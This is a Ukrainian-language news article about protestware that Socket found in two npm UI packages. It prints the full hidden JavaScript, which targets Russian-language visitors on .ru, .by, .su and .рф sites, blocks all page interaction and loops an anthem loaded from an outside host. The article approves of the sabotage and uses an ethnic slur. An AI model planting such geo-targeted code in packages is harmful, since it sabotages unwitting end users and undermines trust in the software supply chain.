У двох npm-пакетах знайшли код, що вмикав гімн України на російськомовних сайтах
Команда з безпеки Socket знайшла в двох популярних npm-пакетах прихований код, який впливає на користувачів із російською мовою браузера. Якщо вони заходять на російські чи білоруські сайти, сторінка перестає реагувати на мишку і починає грати гімн України.
Мова йде про два пакети: @link-loom/ui-sdk
та @link-loom/react-sdk
. Вони створені одним і тим же розробником і використовуються для побудови інтерфейсів у вебдодатках на React. Всього таких пакетів на npm — понад 60 версій. І кілька десятків із них містять приховану логіку.
Заражені пакети містять понад 100 000 рядків коду. Приблизно через 5000 рядків у модулі /dist/ui-sdk.cjs.js
вставлено код:
// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { var now = new Date(); var initiationDate = localStorage.getItem('swal-initiation'); if (!initiationDate) { localStorage.setItem('swal-initiation', "".concat(now)); } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) { setTimeout(function () { document.body.style.pointerEvents = 'none'; var ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem); setTimeout(function () { ukrainianAnthem.play()["catch"](function () { // ignore }); }, 2500); }, 500); } }
Якщо користувач:
- має кацапську мову в браузері;
- заходить на сайт із доменом
.ru
,.by
,.su
або.рф
; - і робить це повторно, через кілька днів,
тоді сторінка:
- блокує всю взаємодію;
- автоматично вмикає гімн України, який грає по колу.
Зупинити це звичним способом не вийде, бо взаємодія з сайтом повністю заблокована.
Наразі такий функціонал доступний лише в певних версіях:
- У @link-loom/ui-sdk — з версії 1.0.6 по 1.0.99
- У @link-loom/react-sdk — з 1.0.100 по 1.0.151
У новіших версіях, на жаль, цієї функції вже немає, а за останніми оновленнями видно, що автор повністю переробив пакети з чистого аркуша.
6 коментарів
Додати коментар Підписатись на коментаріВідписатись від коментарів